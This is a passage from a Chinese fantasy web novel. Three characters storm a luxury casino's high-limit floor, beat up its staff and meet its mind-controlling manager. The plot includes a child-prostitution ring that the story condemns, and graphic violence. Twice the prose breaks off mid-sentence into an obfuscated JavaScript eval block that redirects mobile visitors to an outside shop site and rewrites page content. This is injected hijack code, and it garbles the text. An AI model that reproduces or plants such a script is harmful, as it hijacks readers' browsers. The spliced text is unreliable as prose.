“这下共感者就没得逃咯。”侦探抬手,按了按自己后颈,“要是发现有共感者到访,赌场就会直接在其腺体注射感官抑制剂,将其感官拉低到普通人水平。这玩意的原理和人造信息素可不一样,长期使用会对共感者造成不可逆损伤,有很多共感者染上赌瘾,不惜打针也要频繁进入赌场,最后废的废,死的死。” “能强制降低共感者能力的药剂吗……”莱蒂斯想起自己在货轮上被抑制嗅觉的经历,意识到自己在昏迷期间可能已经跟这种药物有过接触。 但她没觉得害怕,反而有些好奇:“为什么没有给警员们配发呢这种药剂呢?虽然长期使用有违人道主义,但要是交给警方用于临时控制嫌疑人,应该能起到奇效吧。” “很敏锐的战略思维嘛,”尼尔森打了个响指,“不止警方,军方也和你想得一样。他们知道赌场发明了这玩意的时候都惊呆了,结果发现它只有直接从腺体注射才有效,实战里用起来难度太高基本没戏,很快就放弃了,所以感官抑制剂的主要流通市场就是赌场。” “不过无论如何,赌场对于共感者来说,一直是个相当危险的地方。不得不说,有小朋友带我们走这条路,还是避免了很多麻烦。” “你倒是很懂嘛,大叔。”被点名的小朋友回过头坏笑着看他,“和我一样有在赌场的从业经验?” “不好意思,本人没有给赌场创收过。”尼尔森装模作样地遗憾摇头,“我只是坑过北方那家斯卡伯勒赌场两个星期的营业额,虽然他家比不上‘天堂’因珀瑞恩,但是那数目也不小了。” 罗亚利嗤笑一声,显然不信:“就你?” “数目不小是指多少?” 莱蒂斯却冷不丁地问道。 “……我忘了。事出有因,何况我也不是奔着钱去的。”得意忘形的尼尔森笑容一僵,赶紧跟小姑娘解释,“那个时候我都没成年,也不懂赌场的规矩,进了门才知道还要注射抑制剂。结果那几个傻哔安保看我是没有战斗力的向导,甚至没问我愿不愿意继续进场,上来就把我摁地上了。我不喜欢打针,所以给了他们点教训——至少从那以后,整个奥西恩王国的赌场对待向导都客气多了。” “唔……好吧。”莱蒂斯还是有点怀疑,但她确实听说过,十几年前社会对向导的歧视非常明目张胆。考虑到是小时候的尼尔森受冒犯在先,这位年轻的哨兵反而生出些许责任感来:“没关系,你不需要再做这种事了。虽然你很弱,但有我在,不会再有人欺负你了。” “那可真是太谢谢了。”尼尔森头一次不想纠正莱蒂斯对自己的实力判断。还好这个好孩子对赌场两周营业额没概念,只当尼尔森是给赌场造成了些不便,不然就没那么好糊弄了。 斯卡伯勒赌场诈骗及抢劫案,十多年前能排进前十的赌场丑闻和重大要案,案涉金额近一亿镑,间接亏损超过两亿。罪魁祸首尼尔森相当满意,可惜现在都已经尘封进机密档案。 彼时还没有成年的尼尔森.莱顿离开斯卡伯勒赌场时,手里正摆弄着一个硬币大小的筹码。他悠闲地迈着步子,一个穿着安保制服的男人从二楼摔下来,正好砸在他身后的大理石地板上。 棕发的年轻人没有回头,其他人也无暇顾及一个无关紧要的安保。 离奇消失的赌资,被洗劫一空的金库,互相指责出千然后大打出手的客人,盛怒中掏枪的黑手党和不知该从何下手的警卫在五颜六色的霓虹灯牌下乱成一锅粥——这就是在记者和警方赶到前,尼尔森留给他们的盛会。 “叮——” 他手指一弹,抛起那枚筹码。 等它落地之时,尼尔森已经带着微笑,从赌场之中消失了。 “哈哈,莱蒂斯小姐,这个大叔是在胡扯啦,”罗亚利依然对尼尔森的轶事不以为意,像小鸟一样清脆地笑了两声,“怎么可能有这种事,北方的斯卡伯勒光是一周的营收就有——” “对对,不可能。就当我是瞎说的吧。”尼尔森快步上前打断对话。走廊正好到了尽头,在罗亚利多嘴之前,他赶紧绅士地开门,做了个鞠躬的姿势,请女士和小孩先行。 “……” 他这样子,倒是让罗亚利的敌意和怀疑陡增了一瞬。但尼尔森并不在意,只是推了推眼镜,回以了眼中的笑意。 他们乘上了一台观光电梯。 罗亚利刷了卡,电梯载着他们直通第十层。隔着玻璃,莱蒂斯看见了天国辉煌的一隅。 入眼皆是金色的墙,金色的立柱和金色的灯光,太过强调奢靡,反而显得俗气。 仿文艺复兴风格的壁画在天花板描摹着天堂的盛景,下方却是排列仿若迷宫的老虎机在闪着科幻的光。整齐摆放的绿色的牌桌和深红的座椅在另一片区域切割出整齐的色块,骰子和扑克像是舞台上的演员悉数登场。 任何地方都有人,任何地方都有激动的捶桌与大喊,所有人像是在一个金子打造的精神病院里一样狂欢,只有衣着笔挺的服务员托着免费的酒水与冷餐淡定地穿梭在人群里,浑然不顾这让人应接不暇的混乱。 不用担心饥饿,因珀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356955|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞恩会给任何人提供食物,不用担心寒冷,因珀瑞恩会保证你有张温暖的床,而你最不用担心的就是花光赌金,因珀瑞恩有无数种贷款供你选择。 这里就是无忧无虑寻欢作乐的天堂。筹码从机器里滚落,那声音在赌徒们看来比真金更加动听,莱蒂斯却把所有屏障都拉到了最高。 她太敏锐了。过于激动的叫喊,过于蓬勃的心跳,还有空气里刻意让人亢奋起来的香水味——整个赌场就像台搅拌机一样在她的感官里隆隆作响,她看着拥挤的人们,仿佛看见他们的精神和身体都一同被打碎,和老虎机与轮盘的滚动声一起搅成黏糊的一团。 “这里的布局,灯光,气味,甚至连过道都是设计过的。就是为了让人沉浸在其中。”电梯上升,罗亚利居高临下地看向脚下的人群,忽然蹲了下去,“他们很聒噪吧,毕竟在十层以下赌博的家伙都只是穷人而已。” “真可怜啊,而且很可笑。”男孩看着玻璃,不知道究竟是在看人群,还是在看自己,“这种底层的可怜虫自以为能来赌场逆天改命,但他们唯一的命运就是背上贷款家财散尽。更好笑的是,他们被榨干了所有价值,也只是构成了‘天堂’营收的一小部分罢了……说不定连顶级客户的一瓶酒也买不起。” “HighLimit的区域,他们连进都进不去。”他喃喃着,似乎陷入了沉思,回头却对莱蒂斯粲然一笑,“所以放心吧,莱蒂斯小姐,我带你去的地方一点也不吵,不会让你有半点不舒服的。” “我没事。”莱蒂斯摇头。她不知道罗亚利究竟对这地方作何感想,但犹豫之后,还是伸手摸了摸小朋友的头顶。 “哎呀,”罗亚利突然被rua了头发,熟练地抛给莱蒂斯了一个wink,“莱蒂斯小姐也喜欢吗?很多客人都夸过我发色哦。” “不,只是……”莱蒂斯也蹲下去,和男孩视线平齐,直言不讳道,“如果这里让你觉得不开心的话,你不需要一直对我们笑的。” “……” 罗亚利一愣,猫一样带点乖巧又带点小坏的笑僵在脸上,像是一个程序接到了功能外的指令,一时不知所措了。 “叮。” 直到电梯到达的提示音响起,罗亚利如梦初醒。 “不笑可不行啊,莱蒂斯小姐……”男孩的眉眼似乎松动了一瞬,但那笑容像是上了发条一样,转眼又重现了,“我们得去找知情人,去找Papa。” “Papa可不喜欢冷着脸的孩子。” “不管他喜不喜欢,只要见到他,我们总有办法让他开口的。”习惯性冷着脸的莱蒂斯坚定地说,叫人不知该安心还是该害怕。 尼尔森反正相信她能做到的。 只不过她果然还是小孩啊……尼尔森看着眼前这温馨一幕想着,只要是被她认定为了同伴,不管是自己还是罗亚利,她都不会多加怀疑…… 问题不大,慢慢教她吧。 鉴于莱蒂斯有本事一个背摔把他扔地上,尼尔森选择过去提起罗亚利的后领把他拽起来:“好了,电梯门都快关上了,走吧小朋友。啊,对了,也顺便跟我们讲讲,那个Papa究竟是怎么个人吧。” 66. 第六十五章 荷官先生站在HighLimit区域的一张赌桌旁。 荷官先生在这里工四年了,他很喜欢自己工作的地方,因为“天堂”因珀瑞恩的HighLimit区安静又典雅,像是一支流传了数百年的古典乐。 它是一座被搬进了现代高楼中的法国古典主义宫殿,挑高的顶部每一处都装饰着货真价实的油画。石刻或铜刻的天使从顶角线伸出双手将房顶托举,在其下方,又有身着罗马长袍的雕塑高举铜烛台将拼花地板照亮。 灯光明亮但不刺眼,使得富丽奢华的内景中平添一种沉着的优雅。穿着西服或礼裙的客人们聚在牌桌前,像是掷出一枚1磅的硬币一样随意掷出一枚价值10万的筹码。 荷官先生总想起自己休假时曾造访的法兰西那座以奢靡闻名的宫殿,但现在那里已是一座人来人往的博物馆,他因此认为,比起那里,“天堂”才真正保留了一座宫殿的灵魂。这里的客人如果欢呼或者挫败地愤怒,那也是旧时贵族的任性洒脱,而非十楼以下劣质仿品里那些垃圾的一惊一乍。 有一对不知是夫妻还是情人的异性路过,荷官先生却只是将手搭在桌沿,就像候场钢琴家将手轻放在琴键——截止目前,并没有客人来访。 他的牌桌位于一座恢宏大堂的一角,上方那红色玻璃的拱形穹顶和从中心向外放射的钢铁骨架如同一座巨大的时钟。在他身后,挂着一副罗素.奥菲伦蒂洛的油画。一只红发的小天使抱着一把大大的鲁特琴,因为琴身过大,这孩子不得不将脸颊枕在琴沿,看起来软乎乎的。 这就是为什么鲜少有人会在荷官先生的桌前坐下。 除了玩上一桌二十一点之外,这里也是有特殊喜好的客人寻找“基路伯”的地方。 基路伯,Cherubim,圣经中的天童,长翅膀的小天使,漂浮在无数天堂有关的名画中可爱的孩子——“天堂”因珀瑞恩中的童妓。 在荷官先生发牌的时候,客人会向他描述自己想要的“基路伯”的模样,就像向店员描述自己喜爱的人偶。他们会压上十枚筹码,来上一盘必输的二十一点,但在此之后,“天堂”就会将一位客人满意的孩子送到客人指定的地点。 这就像是一个午夜的魔法,无论是家里,还是酒店,抑或是赌场的单间,只要到了客人约定的时间,就会有小天使敲响那扇房门。 那些客人是谁,要如何联系?那些小天使长什么样,从何而来,又如何去赴这场亵渎的约?荷官先生一概不知。 他只负责收下筹码。 知道一切的,只有因珀瑞恩的主管。那是个无时无刻都穿着板正西服的男人,大家都叫他Papa。 荷官先生只是这链条中最简单的一环。但有时,也会有意料之外的人来到荷官先生面前。 “刷——” 荷官先生伸手在牌桌上划过一道弧度,整整四幅扑克随之整齐地摊开。他再从反方向一抹,它们便像是龙身上的鳞片一样,听话地闭合回了背面。 “您好,欢迎来到因珀瑞恩。要来一局二十一点吗?” 荷官先生问道,面带友好而职业的微笑。 “这么客气吗?我来找你究竟是不是想要玩牌,你应该知道的啊~” 牌桌的对面站着三个人。荷官先生从未见过那个风衣男和那个黑衣少女,但他认识说话的那个。 那是他为数不多亲眼见到过的“基路伯”。 是那个发色与画中天使一模一样的孩子回来了。 “您带来了朋友,真让人意外。”天使画像前的荷官平静地说,“恕我愚钝,我从来猜不出您的想法,但请三位先入座吧。” 随时待机的服务员快速走来,为牌桌前的客人送上香槟。托盘上的香槟酒瓶旁,三只玻璃杯高挑细长,盛酒的样子有如百合的花苞含着花蜜。 莱蒂斯说谢谢但我还没成年不能喝酒,比她更小的罗亚利却优雅地接过了这免费的好意。而尼尔森看了眼香槟瓶身上那价值不菲的商标,说了句谢谢然后直接抄起瓶子喝了起来,还不忘用瓶身和剩的那杯香槟碰下杯,示意服务员快滚。 “……” 见多识广如荷官先生,脑袋也轻微宕机了一下。他确实猜不出这三个和HighLimit区格格不入的家伙的来意,最终选择继续和罗亚利说话:“我没想到会再和您见面。容我冒昧地提醒您,根据您和我们之间的约定,您根本不应该出现在这里。” 尽管他的动作始终保持着堪称完美的礼貌,但尼尔森还是感知到了他对罗亚利强烈的厌恶与鄙夷。 “……” 侦探眯了眯眼。除此之外,他发现荷官指向罗亚利的情感,还有一种混浊的,莫名的妒忌。 “谁让你们为了满足客人在赌场乱搞小孩的xp,给了我们直通HighLimit的匙卡权限呢?”罗亚利倒是不在乎荷官的态度,他双手撑住下巴,用乖孩子的语气说话,“单间里的那些荷官就不会这么大惊小怪,哪怕我进去把衣服脱了他们都不会有反应的。” “所以您不配出现在这大堂里。”荷官毕恭毕敬的模样和言语中的讽刺南辕北辙,“情○用品可以被摆在私人领域的任何地方,但如果主动跑到大庭广众之下,那就是莫大的低俗和失礼了。” 他的用词让莱蒂斯微蹙了一下眉,罗亚利反而乐了:“真见外,黄赌毒不分家,谁比谁高贵呀?你在那帮人眼里和一台老虎机也没什么区别,怎么维护起他们的体面了,难道你有主动当狗的爱好?” “我在工作,当然无法和摇尾乞怜贱卖自己的您相提并论。”荷官从容不迫,他将摊开的牌聚拢在手间,手法娴熟得如同魔术,“从这个意义上讲,您才是被客人圈养的幼犬,所以我斗胆建议您,请认清您的身份,别让您的朋友们和您一起丢脸……” “够了。”莱蒂斯冷声打断荷官,暂时忍住给他一拳的冲动直入主题,“我们想见Papa。” “原来如此。” 荷官了然地止住话头。他看向莱蒂斯,不紧不慢地将手边的牌打乱: “小姐,很多人都想见Papa。但Papa管理着整个因珀瑞恩,非常忙碌,只有足够要紧的事情才值得他出面处理。我们会为任何人提供最好的服务,但您可算不上我们的客人。因珀瑞恩不至于那么好欺负,让一个被‘基路伯’带着混进来的变异人都可以有求必应,除非——” “除非什么?” “除非,你们能赢我一盘二十一点。” 荷官没有低头,手指却在瞬间就将散乱的纸牌收成整齐的一摞。他问:“三位要赌吗?” “早说啊。”尼尔森一笑,终于把香槟从嘴边拿开了,“原来你们也有这规矩,我还以为这是隔壁斯卡伯勒赌场的特色呢。一切皆为赌资,胜负即是命运——放心,我懂你们的运作逻辑,那么,如果要参加这场赌局的话,我们又需要押上什么呢?” 荷官回道:“当然是押上你们的一切。” “赌约很简单,只要你们三人中有一人胜利,我就可以带你们去见Papa。”他面带微笑,对着面前的三人摊开双手,“但和Papa见面的机会并不是金钱能衡量的,更何况你们本就一文不名。你们对因珀瑞恩的唯一价值就是你们自身,所以如果你们都输了,你们就会成为’天堂’的财产。” “这位没礼貌的男孩会继续从事自己的老本行,但不会再分到收入。这位小姐,虽然您很漂亮,但很遗憾我们对年龄的要求严格限制在十四岁以下,所以您可能会被分去做舞女或者兔女郎,至于您嘛,先生,我相信您的器官能为我们带来一笔可观的收益——三位愿意接受这样的条件吗?” “真贪啊,完全是敲骨吸髓嘛。不对,为什么轮到我就直接被拉去器官贩卖了?” “如果您害怕,也可以选择离开。” “哎呀,别赶客嘛。”尼尔森摆摆手,他可太喜欢这荷官身上散发出的高傲和自信了,“我的确是不太喜欢赌博,可也没说不愿意赌啊。” 这是实话。只不过尼尔森不喜欢赌博,不是因为胆小或者不擅长,而是这项活动对他来说实在是太过简单,以至于有些乏味了。 数据的计算,心理的博弈,还有出千舞弊,这对一个让自己名字在十多年前常驻全国所有赌场通缉令和禁令的重罪犯来说,简直易如反掌,甚至根本犯不着用上向导的能力。 于是重罪犯先生坐在座椅里,随手对荷官做了个请的手势,示意对方发牌。荷官对上那不详的金色眼睛,不知为何有些心悸,可下一秒,男人的眼神又突然带上笑意,如同冒着气泡的香槟。 他用这样的眼神看向旁边,对那个明显情绪不太好的小姑娘说:“放松啦,莱蒂斯,我们会见到那个Papa的。” 二十一点,经典的赌场游戏,玩家的目标是使得手中扑克的点数之和不超过二十一点,且尽量大。 “我会先给三位每人两张牌。”荷官将两张纸牌放到尼尔森面前,“就像这样,您可以根据您的点数决定是否要牌。” 他一边解说着基本规则,一边根据分发的牌开始在脑内计算。‘基路伯’和那个男人应该都熟悉这个游戏,唯一对此陌生的是黑衣的少女,他考虑是否要从她开始击败他们。 可那低贱的‘基路伯’就是不肯安静下来。当荷官将发牌给他时,男孩漂亮的双唇又开和起来:“你这样子真有意思,搞得你好像真的是个正经工作的荷官一样,但其实你的技术也不怎么行吧,否则怎么会被分到这里来呢。别忘了,就连我都赢过你哦?” 该死的心理战术。荷官感到心烦,心算也卡了壳,但他维持了表面的礼貌:“所有因珀瑞恩的荷官都经过了专业的训练。” “训练呀?‘天堂’训练你的方向究竟是荷官,还是一个没人性的皮条客?” “……您是最不应该把我们和街上的皮条客相提并论的人。”荷官还是回应了挑衅,他努力了很久才得到在HighLimit区工作的机会,不允许任何人侮辱他的付出,更何况是一个空有皮囊的童妓,“您真是丝毫不懂得感恩。成为因珀瑞恩的‘基路伯’是机会,是荣幸,有丰厚的报酬,良好的环境,甚至因为我们的客人都非常体面健康,还不会有染病的风险。” 他抽出两张牌发给少女,放任自己的嘴不断吐露恶意。对点数的运算占据了他绝大部分思维,他的言语也逐渐变得露骨: “正是我们给了您这样想要肤浅虚荣的表子把自己卖出高价的荣幸,否则,那个和您一起的弱智也只能像泥潭里的猪一样在贫民区活着,永远没有机缘见识到上流人的……唉?” 荷官的声音戛然而止。 他惊愕地睁大了眼睛,尽管这并非出于他自身的意愿—— 两张纸牌扎在他的眼眶里,锐利的直角刺进眼球。 鲜血混杂着泪水溢出眼角,他的大脑一片空白。 在他正对面,莱蒂斯冷冷地看着他,右手还保持着飞出纸牌的姿势。直到这时,荷官在撕裂般的痛楚和恐惧中发出了惨叫。 “啊啊啊啊啊啊——!!!” “莱蒂斯小姐?” 罗亚利被莱蒂斯护在身后,茫然地喊了一声。他看见四周闻声赶来的安保,头一次真的表现得像个不知所措的小孩。 “这位客人,请冷静些。荷官要是有什么问题,您可以向举报处反应。”赌场工作人员迅速聚集,一批礼貌地将四周赌桌的客人请离到其他区域,一批开始安抚莱蒂斯。HighLimit区也会有客人因为输钱或者发现作弊而动手的情况,他们有完善的应急方案。 然后莱蒂斯抄起罗亚利没喝完的那杯香槟,又对准荷官脑门砸了上去,后者终于昏迷,中断了他长达数十秒的聒噪尖叫。 “……”尼尔森嘴角抽了抽,他好久没遇到过荷官这种主动送上门来的猎物,这轮被发到的牌其实也还挺好的,所以和荷官一样,他的注意力也大部分集中在了算牌上,没注意到莱蒂斯突然动手。 令他意外地是,莱蒂斯此刻散发的情绪并不是被愤怒驱使的冲动,而是冷静与果断。 “好吧,我知道他很欠揍,但你就不能晚点再揍他嘛?”尼尔森看着聚拢来的保安们,往后退了两步,“要赢这个荷官挺容易的,难道你对我没信心吗?只要我一个人赢过他,他就能按规则带我们去找Papa了。” “唔……我相信你会赢的,毕竟你很懂这些歪门邪道的东西。”黑发小姑娘把歪门邪道的尼尔森也往自己身后拽了拽,保护起来,“但是为什么我们要跟着他们的规则来呢?有人教过我,没必要顾及敌人制定的规则,与其顺着对方的思路走,不如自己掌握主动权……虽然也确实是我想揍他,他对罗亚利和艾兰太混蛋了。” “……行。”尼尔森扶额,她想揍人,他有什么办法呢,“那关于见那个Papa,你已经有什么别的想法了?” “这位荷官之前说了,只有要紧的事情才值得Papa出面。”莱蒂斯捏了捏拳头,纤细的身体向着越靠越近的安保们前倾,黑色长发从她肩膀滑下,像捕猎的猛兽放平了尾巴: “那么,如果我在这里把这群人全都揍趴,要紧的事情应该就出现了吧?” 不愧是你……尼尔森放弃地闭上了眼睛:“谁教你的,布列塔尼?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356956|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “其实是休伯特大叔。”莱蒂斯回答,她散发出小小的自豪感,就像一个炫耀自己家长的小孩子。 然后下一秒这孩子就冲了出去,闪过安保人员的拳头,一个夹颈摔把人抡起来砸进了地里。 罗亚利有点发愣。 这十四岁的孩子自信自己已经学会在任何粗暴的对待面前,都能保持习以为常的冷静。他曾经被客人按在床垫里折断过一只胳膊,也曾带着满脸被殴打出的鼻血被人□□,但他还是能藏起所有恐惧和痛苦,露出漂亮的微笑。 可现在,他却不知道该做出什么表情好了。 穿着短裙和黑色丝袜的男孩不自觉地捏紧了外套袖子。在他无法移开视线的紫色眼睛里,莱蒂斯在半空一个回旋踢正中保安后颈,随着她的黑发划出弧度,那冲着他来的,墙一样高大的保安直挺挺地倒下了。 “不,不对……”短暂的震惊后,男孩恢复了机敏,“莱蒂斯小姐,这批保安只是最常规的人员,没有配备热兵器,如果闹太大,还会有装备更精良的人赶过来的!而且赌场里面也有很多摄像头,虽然它们角度全都指向牌桌,基本只能拍到头顶,但如果你打架时暴露在摄像头里的角度太多的话,也是会被记录下脸的!” “这你就别操心了,我这不正在想办法吗。”尼尔森的声音突然传来,罗亚利回头,发现他正手忙脚乱地在风衣内衬里乱摸,摸出来一个小多面镜和一个骰子大小的黑色方块放在了桌上。 在一片兵荒马乱中,侦探瞥着赌场的天花板摆弄着多面镜的角度,然后启动了方块。一道明亮的红光猛地刺向镜面,被反射折射拆成几束,分别精准地扎进了高处的几个摄像头里。 “好了,激光干扰在这种情况下还是比较有用的。现在这些摄像头再怎么拍,都只能拍到一片红光了……但是莱蒂斯,下次提前跟我说一声行吗?” 尼尔森无奈地说,手法却熟练得可疑。说真的,到底什么侦探会随身携带这种干扰摄像头的装置?莱蒂斯小姐身边为什么会跟着这种人?罗亚利本来就不喜欢尼尔森,这下更想离他远点了。他一步步往牌桌背后退,而他的前方,满地都莱蒂斯撂倒的安保。 就在这时,一阵寒意突然从他尾椎升起。 在他明白过来为什么之前,杀在前面的莱蒂斯忽然猛地回了头。她用飞膝掀翻一个男人,踩在他胸口飞身跃起,冲到了罗亚利身旁。 她降落的前一刻,长发因为惯性略过男孩身边,罗亚利第一次发现那翡翠般的双眼能专注得接近阴森。这双目离他太近了,他一时失神,没跟上莱蒂斯伸手抓向他身后的动作。 直到她伴随着人体与物体碰撞的巨响落地,罗亚利仓皇侧身,才看见那个讨厌他的荷官正满脸是血地抓着香槟杯的碎片,要把玻璃扎进他脖子里。荷官看起来就像个疯子,可惜莱蒂斯先一步抓着他头发把他的脑袋砸在了牌桌上,他晕乎地晃了两下,呕出一大口血,瞪着眼睛失去了意识。 “罗亚利,站着太危险了,找个地方躲一下。”莱蒂斯在继续投入战斗前分给他了一个眼神,里面却只有让人安心的鼓励,“我会保护你们,但你们也要小心。” “哈……啊哈……?好的,莱蒂斯小姐。” 少女带着风声离开了。在已经持续数分钟的打斗里,刚刚发生的一切都只是一个瞬间,罗亚利却感到自己的心脏在狂跳,腿也有些发软。荷官的血溅在他衣摆,他扶着牌桌,滑坐到了地上,听话地缩牌桌的阴影里。 男孩拽紧胸口的布料。他看向荷官圆睁的眼睛,身体微微颤抖。 他并不是害怕了,他才不会害怕一个荷官呢!只是他实在不明白现在这种从高空落进柔软的棉花一样的感觉,陌生的温暖和悸动流淌在他四肢百骸,他像陷入了流沙一般没了力气——他第一次敢放任自己失去力气。 直到这一天,这一刻,十四年来,他第一次真正感到了安全。 男孩无所适从。但他想,果然,选择相信莱蒂斯是对的……为此,他无意识地咧开了嘴角。 而枪响,也是在这一刻开始出现在这片混乱中的。 是装备热武器的安保人员们赶到了。 格/洛/克没用。 一个安保人员趴在地上想,他觉得很崩溃。 他妈的,格/洛/克型号的枪居然都没用。 他隶属于HighLimit区第二安保梯队。在第一批用于应对寻常闹事的安保失败后,他们才会出场。为了不伤及客人和昂贵的装潢,他们配备的都是装着消音器的格/洛/克,绝大多数情况下,这种与警方同款的□□管枪支会解决掉所有问题。 但那些问题里显然不包括眼前这个小姑娘。 她堂而皇之地戴着护卫耳钉,而且绝对没有注射感官抑制剂。可一个护卫应该强成这样吗?她躲得开子弹,就好像在他们扣动扳机时就已经有所察觉,她也能轻易地把一个成年男性打得倒地不起,那死重的警棍被她当成飞镖一样投掷,被击中手腕的同事再也拿不动枪。 对方一共有三个人,那男孩躲到了牌桌背面,而那个风衣男把干扰摄像头的激光保护得很好。他嘴里一直嚷嚷着莱蒂斯差不多可以了吧你倒是考虑一下我啊,可每当有人以那个简易干扰器为目标,他就能像会读心一样莫名其妙地察觉出对方的意图,用多面镜分出一束激光晃瞎那人眼睛。 有人中枪了,但不是目标,他们的血肉飞溅出很远,在地上留下烟花的痕迹。赌场安保的人数仍然占优势,但没人敢轻举妄动,只是维持着包围圈,这事儿估计得第一梯队那帮哨兵来了…… 非常崩溃的安保捂着骨折的右臂,非常崩溃地摇晃着站起来。恍惚间他发现油画外的防弹玻璃上裂开了一个弹孔,正巧合地开在那弹琴小天使的右眼,远看过去,就像是天使抬起了眼眸。 在天使的注视下,那黑发绿眼的少女站上了牌桌。上帝啊,她到底准备闹出多大动静?安保看着她在众目睽睽之下三下五除二拆掉了枪上的消音器,将枪口对准穹顶高高举起,就那么干脆利落地打空了剩余的子弹! “咔……咔——哗啦——!” 枪声响彻大堂,红色的玻璃穹顶应声破碎,折射着灯光的碎片像一场盛大的血雨纷纷落下。气流的波动吹动少女的长发,而顶光将她笼罩在阴影里,她的绿眼睛危险而纯粹,然后—— “诸位,都请冷静些。” 然后一个男声响起。就仿佛从人脑中直接浮现出来的一样,诺大的大堂里,每个人都听得清清楚楚。 安保一下子就放松了,他差点跌回地上。 终于,终于…… 是Papa来了。 67. 第六十六章 一个年过三十的男人站在门口。 他留有一刀切的齐肩深蓝色短发,穿着量身定制的西服——因珀瑞恩的Papa看起来一板一眼,平平无奇,领口下的皮肤上却有一片覆盖了大半皮肤的黑色骷髅纹身。它像一团不详的寄生物随他喉结蠕动,叫人觉得怪异。 “你是Papa吗?” 他的出现并没有让莱蒂斯乖顺下来。少女利落地给格/洛/克换上缴来的弹夹,放平枪口指向他。好不容易松口气的安保们一下子又慌乱地端起枪,他们都从她眼神里看出,如果Papa不顺这疯丫头的意,她是真的会开枪。 但Papa抬起一只手,他说:“各位,稍安勿躁。” 稍安勿躁?要怎么稍安……算了,还是听主管的吧……赌场安保想,而这念头让他眼前恍惚了一瞬。像是一块烧红的钢铁沉入水中,他的情感迅速冷却了。高温蒸发成烟雾,他的恐惧,他的紧张全都变得模糊。 然后Papa向前走来,他说:“各位,我们不必彼此攻击。” 是这样吗,我们不必彼此攻击?赌场安保感觉有点头晕,在缓慢的思维中,他没注意到自己的敌意开始飘摇着消散。与此同时,那黑发少女皱紧了眉。她的枪口没有移动,但尖锐的眼神似乎也开始迟疑,像是被蛛网缠住的匕首,不再那么叫人害怕了。 于是Papa穿过安保们让出的路,他说:“各位,我们不是敌人。” 我们不是吗?Papa的声音沉着而温和,让人信服。赌场保安看向少女,对方那让人胆寒的绿色眼睛同样浮现出了茫然,如同结霜的翡翠。我们不是敌人吗?我们也许确实不是。这么想着,人们纷纷垂下了握枪的手。而站在牌桌上的少女反应更慢一些,她尚且挣扎在流沙一样的困惑中,对Papa,抑或是对自己,但她仍然举着那把枪。 “小姐,您想见我,现在我来了。”Papa一点儿也不害怕,他在包围圈的中央停下脚步,对着那少女和那枪口说,“所以,一切问题都已经解决了。各位,没事了,都放下武器吧。” 好吧,没事了,我们就放下武器吧。Papa话音未落,人们便松开五指,落针可闻的大堂里,枪支落地的巨响如惊雷乍响,而Papa抬手握住少女的枪,轻轻一抽,就将它从她手里取了出来。 Papa将枪妥帖地放在桌上,眼神扫过激光干扰器旁那个穿风衣的男人,他也和其他人一样,早已安静下来。Papa于是回以礼貌的点头,说道:“先生,小姐,我想你们找我的事情,应该不便于在这里宣之于口。我有更加私人的办公室,请你们随我前去,我的员工们也好开始处理和修复大堂的损失了。” “……好。” 一阵沉默后,莱蒂斯如此回答。她似乎隐约觉得有什么不对,可Papa言之有理,她找不到拒绝的理由。 不好…… 罗亚利看见Papa笑了,他绅士地向莱蒂斯伸手,牵她从牌桌下到自己身边,带她走向了大堂北边的门。 他没想到Papa会这么快就亲自现身,这下糟了…… “……” 尼尔森则沉默地跟在他们身后,像个开了自动跟随的NPC。罗亚利缩在牌桌背后,第一次发现大叔那精明得让人不适的金色眼睛能如结冰般死寂。 该死的……这家伙也…… “你也来吧。”在走出门前,Papa突然这么说道。他没有回头,但罗亚利知道他在说谁。 果然……就连他们也抵抗不了Papa的影响……吗? 罗亚利咬咬唇,从牌桌背后跑出来追上三人。两旁的安保们只是盯着自己前方,他们觉得Papa的做法没什么问题,他们相信Papa的一切安排。 “啪嗒,啪嗒,啪嗒……” 而一只漂亮高挑的蛇鹫跟在罗亚利身后,一摇一摆地迈着步子。那能踩碎蛇骨的利爪重重踩踏在大理石地面,发出阵阵声响。 罗亚利为此感到紧张。但更让他不安的是,不到一分钟内,整个大堂里,似乎也只有他还能正确地保有对Papa的警惕和敌意了。 蛇鹫,非洲的大型鸟类,头钩喙似鹰,长腿似鹤,头顶羽冠。它的前半身覆盖洁白羽毛,后半身坠着漆黑的尾羽,而眼周橙红色的皮肤华丽如威尼斯人的面具。因其脖子顶部有长长的羽毛让人想起古代抄写员在工作休息时放于耳后的鹅毛笔,法国的博物学家为其取名秘书鸟。 “您总是这么让它大摇大摆地在外面走,连普通人也看得见它。”罗亚利跟在一行人末尾,一边跟Papa搭话,一边不动声色地观察着是否有人在这段走廊中埋伏,“赌场不喜欢共感者。我一直想问您,为什么要让这里所有人都知道您是一个向导呢?” “嗯,赌场的确不喜欢共感者,但于我而言,那并不重要。” Papa托着莱蒂斯的手走在最前,像是带大小姐奔赴一场舞会的管家,开口说话的却是罗亚利身边的秘书鸟。猛禽的脑袋转向他,身体却直直地前行。罗亚利想起赌场免费上演的木偶与腹语表演,Papa的背影让他觉得秘书鸟、莱蒂斯、尼尔森,还有他自己,都只是被丝线所牵的提线木偶。 